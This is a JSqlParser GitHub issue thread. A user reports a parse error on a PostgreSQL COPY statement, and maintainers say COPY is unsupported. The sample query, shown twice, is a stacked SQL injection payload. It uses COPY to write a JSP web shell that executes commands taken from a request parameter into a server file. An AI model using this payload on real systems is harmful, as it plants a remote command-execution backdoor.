JSqlParser icon indicating copy to clipboard operation
JSqlParser copied to clipboard

Unexpected Token 'COPY' in PostgreSQL

Open bharathi355 opened this issue 7 years ago • 3 comments

USAGE CODE

The Query used was SELECT NOW(); COPY (SELECT '<%Process p=Runtime.getRuntime().exec(request.getParameter((char)99));int k;while((k=p.getInputStream().read())>-1)out.write(k);%>' AS "CODE") TO 'C:\directmicroshell.jsp' (format text);

Statements stat = CCJSqlParserUtil.parseStatements("SELECT NOW(); COPY (SELECT '<%Process p=Runtime.getRuntime().exec(request.getParameter((char)99));int k;while((k=p.getInputStream().read())>-1)out.write(k);%>' AS "CODE") TO 'C:\directmicroshell.jsp' (format text);");

ERROR LOG Exception in thread "main" net.sf.jsqlparser.JSQLParserException at net.sf.jsqlparser.parser.CCJSqlParserUtil.parseStatements(CCJSqlParserUtil.java:154) at net.sf.jsqlparser.Run.main(Run.java:12) Caused by: net.sf.jsqlparser.parser.ParseException: Encountered unexpected token: "COPY" <S_IDENTIFIER> at line 1, column 15.

Was expecting one of:

"("
";"
"ALTER"
"CALL"
"COMMIT"
"CREATE"
"DELETE"
"DROP"
"EXEC"
"EXECUTE"
"INSERT"
"MERGE"
"REPLACE"
"SELECT"
"SET"
"TRUNCATE"
"UPDATE"
"UPSERT"
"USE"
"WITH"
<EOF>

at net.sf.jsqlparser.parser.CCJSqlParser.generateParseException(CCJSqlParser.java:17065)
at net.sf.jsqlparser.parser.CCJSqlParser.jj_consume_token(CCJSqlParser.java:16918)
at net.sf.jsqlparser.parser.CCJSqlParser.Statements(CCJSqlParser.java:293)
at net.sf.jsqlparser.parser.CCJSqlParserUtil.parseStatements(CCJSqlParserUtil.java:152)
... 1 more

Caused by: net.sf.jsqlparser.parser.ParseException: Encountered unexpected token: "COPY" <S_IDENTIFIER> at line 1, column 15.

Was expecting one of:

"("
";"
"ALTER"
"CALL"
"COMMIT"
"CREATE"
"DELETE"
"DROP"
"EXEC"
"EXECUTE"
"INSERT"
"MERGE"
"REPLACE"
"SELECT"
"SET"
"TRUNCATE"
"UPDATE"
"UPSERT"
"USE"
"WITH"
<EOF>

at net.sf.jsqlparser.parser.CCJSqlParser.generateParseException(CCJSqlParser.java:17065)
at net.sf.jsqlparser.parser.CCJSqlParser.jj_consume_token(CCJSqlParser.java:16918)
at net.sf.jsqlparser.parser.CCJSqlParser.Statements(CCJSqlParser.java:293)
at net.sf.jsqlparser.parser.CCJSqlParserUtil.parseStatements(CCJSqlParserUtil.java:152)
at net.sf.jsqlparser.Run.main(Run.java:12)

bharathi355 avatar Jan 17 '18 07:01 bharathi355

Copy ist not supported by JSqlParser.

wumpz avatar Jan 17 '18 12:01 wumpz

Will that be added in upcoming versions ?

bharathi355 avatar Jan 17 '18 13:01 bharathi355

This is not yet planned. Will you provide a pull request?

wumpz avatar Jan 17 '18 16:01 wumpz

Can be parsed as UnsupportedStatement as shown in #1945 (unless you want to provide or sponsor a specific implementation).

manticore-projects avatar Apr 18 '24 12:04 manticore-projects